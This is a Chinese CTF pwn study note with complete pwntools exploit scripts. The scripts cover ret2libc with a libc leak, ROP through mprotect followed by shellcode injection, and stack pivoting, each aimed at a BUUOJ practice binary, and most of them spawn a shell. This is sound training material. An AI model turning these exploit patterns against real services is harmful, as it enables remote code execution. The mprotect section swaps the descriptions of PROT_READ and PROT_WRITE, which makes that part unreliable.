libcsearcher
ret2libc的时候不一定会给libc(大多数情况不给)
所以需要这个工具去根据泄露出来的libc搜索版本
给一个例题,本题有多解,我自己写了三解
例题下载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| from pwn import * from LibcSearcher import *
p = remote('node4.buuoj.cn',26558) libc = ELF("libc-2.27.so") context.log_level="debug" elf=ELF("PicoCTF_2018_rop_chain") puts_plt=elf.plt["puts"] puts_got=elf.got["puts"] main_addr=elf.sym["main"] payload=(28)*b'a'+p32(puts_plt)+p32(main_addr)+p32(puts_got) p.sendlineafter(">",payload) puts_addr = u32(p.recvuntil('\xf7')[-4:])
libc_base=puts_addr-libc.sym['puts'] system=libc_base+libc.sym['system'] sh=libc_base+next(libc.search(b'/bin/sh')) payload_=28*b'a'+p32(system)+p32(main_addr)+p32(sh) p.sendlineafter(">",payload_) p.interactive()
|
mprotect
mprotect这是一个函数,可以修改一段区域的权限,遇到的时候就能考虑使用
mprotect 函数用于设置一块内存的保护权限(将从 start 开始、长度为 len 的内存的保护属性修改为 prot 指定的值),函数原型如下所示:
1 2 3 4 5 6 7 8 9
| #include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot); prot 的取值如下,通过 | 可以将几个属性结合使用(值相加): - PROT_READ:可写,值为 1 - PROT_WRITE:可读, 值为 2 - PROT_EXEC:可执行,值为 4 - PROT_NONE:不允许访问,值为 0
|
例题下载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| from pwn import * q = remote('node4.buuoj.cn',28807) #q = process('./get_started_3dsctf_2016') context.log_level = 'debug' sleep(0.1)
payload = b'a'*56 payload += p32(0x080489A0) + p32(0x080489A0) payload += p32(0x308CD64F) + p32(0x195719D1) q.sendline(payload) sleep(0.1) q.interactive()
from pwn import * q = remote('node3.buuoj.cn',29645) #q = process('./get_started_3dsctf_2016') context.log_level = 'debug'
mprotect = 0x0806EC80 buf = 0x80ea000 pop_3_ret = 0x0804f460 read_addr = 0x0806E140
payload = 'a'*56 payload += p32(mprotect) payload += p32(pop_3_ret) payload += p32(buf) payload += p32(0x1000) payload += p32(0x7) payload += p32(read_addr) payload += p32(buf) payload += p32(0) payload += p32(buf) payload += p32(0x100) q.sendline(payload) sleep(0.1)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux') q.sendline(shellcode) sleep(0.1) q.interactive()
|
栈迁移
用来解决溢出量不够的rop
可以先通过leave|ret控制栈地址,再返回到溢出点,就可以衔接两次溢出
先去ROPgetdet去找leave|ret
1
| ROPgadget --binary pwn --only "leave|ret"
|
例题下载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import * context.log_level="debug" sys_addr=0x08048400 p = remote('node4.buuoj.cn',25264) payload1 = b'a'*0x27+b'@' p.send(payload1) p.recvuntil(b'@') ebp = u32(p.recv(4)) print ("ebp----->",hex(ebp)) leave_ret=0x080484b8 payload2=b'aaaa'+p32(sys_addr)+4*b'a'+p32(ebp-0x28)+b'/bin/sh'+b'\0'+16*b'a'+p32(ebp-0x38)+p32(leave_ret) # 4 8 12 16 23 24 40 44 # 38 34 30 2c 28 p.send(payload2) p.interactive()
|